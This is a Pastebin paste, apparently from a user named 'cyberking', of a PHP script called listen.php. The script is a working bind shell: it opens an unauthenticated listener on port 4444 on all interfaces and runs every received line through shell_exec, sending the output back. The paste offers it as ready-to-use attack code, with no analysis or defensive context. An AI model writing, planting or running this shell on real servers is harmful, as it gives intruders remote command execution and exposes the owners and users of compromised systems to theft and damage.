cyberking

listen.php

Jun 18th, 2026
18,347
0
Never
11
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.28 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. $port = 4444;
  4. $address = '0.0.0.0';
  5. $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  6. if (!$sock) {
  7.     die("Socket creation failed: " . socket_strerror(socket_last_error()) . "\n");
  8. }
  9. $bind = socket_bind($sock, $address, $port);
  10. if (!$bind) {
  11.     die("Socket bind failed: " . socket_strerror(socket_last_error()) . "\n");
  12. }
  13. $listen = socket_listen($sock, 5);
  14. if (!$listen) {
  15.     die("Socket listen failed: " . socket_strerror(socket_last_error()) . "\n");
  16. }
  17. echo "[+] Listening on $address:$port...\n";
  18. $client = socket_accept($sock);
  19. if (!$client) {
  20.     die("Socket accept failed: " . socket_strerror(socket_last_error()) . "\n");
  21. }
  22. echo "[+] Connection accepted!\n";
  23. socket_write($client, "Connected to Bind Shell\n> ");
  24. while (true) {
  25.     $input = socket_read($client, 2048);
  26.     if ($input === false) {
  27.         break;
  28.     }
  29.     $input = trim($input);
  30.     if ($input == 'exit' || $input == 'quit') {
  31.         socket_write($client, "Goodbye!\n");
  32.         break;
  33.     }
  34.     $output = shell_exec($input . " 2>&1");
  35.     if ($output === null || $output === '') {
  36.         $output = "Command executed (no output)\n";
  37.     }
  38.     socket_write($client, $output . "\n> ");
  39. }
  40. socket_close($client);
  41. socket_close($sock);
  42. echo "[+] Connection closed.\n";
  43. ?>
Advertisement